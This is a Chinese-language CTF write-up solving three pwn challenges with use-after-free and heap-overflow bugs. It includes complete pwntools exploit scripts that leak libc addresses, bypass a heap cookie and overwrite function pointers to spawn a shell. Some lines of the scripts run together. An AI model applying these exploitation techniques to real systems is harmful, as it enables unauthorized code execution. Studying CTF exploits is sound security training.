wp
0x00 p200
先分析了程序关键的数据结构
分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf
脚本如下:
1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆
2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据
3.再free,此时可以把整块Ton堆给free
4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8
5.执行1.use 此时其实是执行system('/bin/sh')
from pwn import*
# context.log_level = 'debug'
# p = process('./p200')
addr = 0x0000000000602D70
addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.interactive()
学习
0x01 heap
也先给出数据结构
程序开始
1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续
2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写
发现漏洞
在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容
绕过保护
1.先申请一定数量的堆块,就可以保证堆块连续
2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.
漏洞利用
1.泄露atoi_addr地址,计算出system_addr
2.在bss段写入/bin/sh
3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss
4.调用introduce函数(实际上是system('/bin/sh'))
Al3x大佬的脚本,orz:
#!/usr/bin/env python from pwn import * #context.log_level = 'debug' def add(lName, name, lSname, sname, tutor='no'):
p.sendlineafter("option:", '')
p.sendlineafter("name", str(lName))
p.sendlineafter("name", name)
p.sendlineafter("schoolname", str(lSname))
p.sendlineafter("school name", sname)
p.sendlineafter(")", tutor) def remove(ID):
p.sendlineafter("option:", '')
p.sendlineafter("delete", str(ID)) def edit(ID, length, context, flag):
p.sendlineafter("option:", '')
p.sendlineafter("edit", str(ID))
if flag == 0:
p.sendlineafter("option:", '')
p.sendlineafter("name", str(length))
p.sendlineafter("name", context)
else:
p.sendlineafter("option:", '')
p.sendlineafter("schoolname", str(length))
p.sendlineafter("schoolname", context) def show(ID):
p.sendlineafter("option:", '')
p.sendlineafter("intro", str(ID)) #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
#p = remote('106.75.8.58', 23238)
p = process("./heap")
for i in range(120):
add(0x29, 'aaaa', 0x29, 'bbbb') atoi_got = 0x602FE8
bss_addr = 0x60F000
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124 payload = 'a'*0x30 #padding
payload += 'a'*8 + p64(0x41) #prev_size & size
payload += p64(0x79) #id
payload += p64(atoi_got) #name_chunck_ptr
payload += '\x57\xC0' #name_chunck_size & cookies_off
edit(120, 0x55, payload, 1) show(121)
p.recvuntil("name is ")
atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system_addr = atoi_addr - 0x36E80 + 0x45390 payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7a)
payload += p64(bss_addr)
payload +='\x3f'
edit(121, 0x55, payload, 1)
edit(122, 0x10, '/bin/sh', 0) payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7c)
payload += p64(bss_addr)
payload += p64(0x3f)
payload += p64(system_addr)
payload += p64(bss_addr)
payload += '\x3f'
edit(123, 0x6d, payload, 1)
#raw_input()
show(124) p.interactive()
0x02 list
这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.
可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...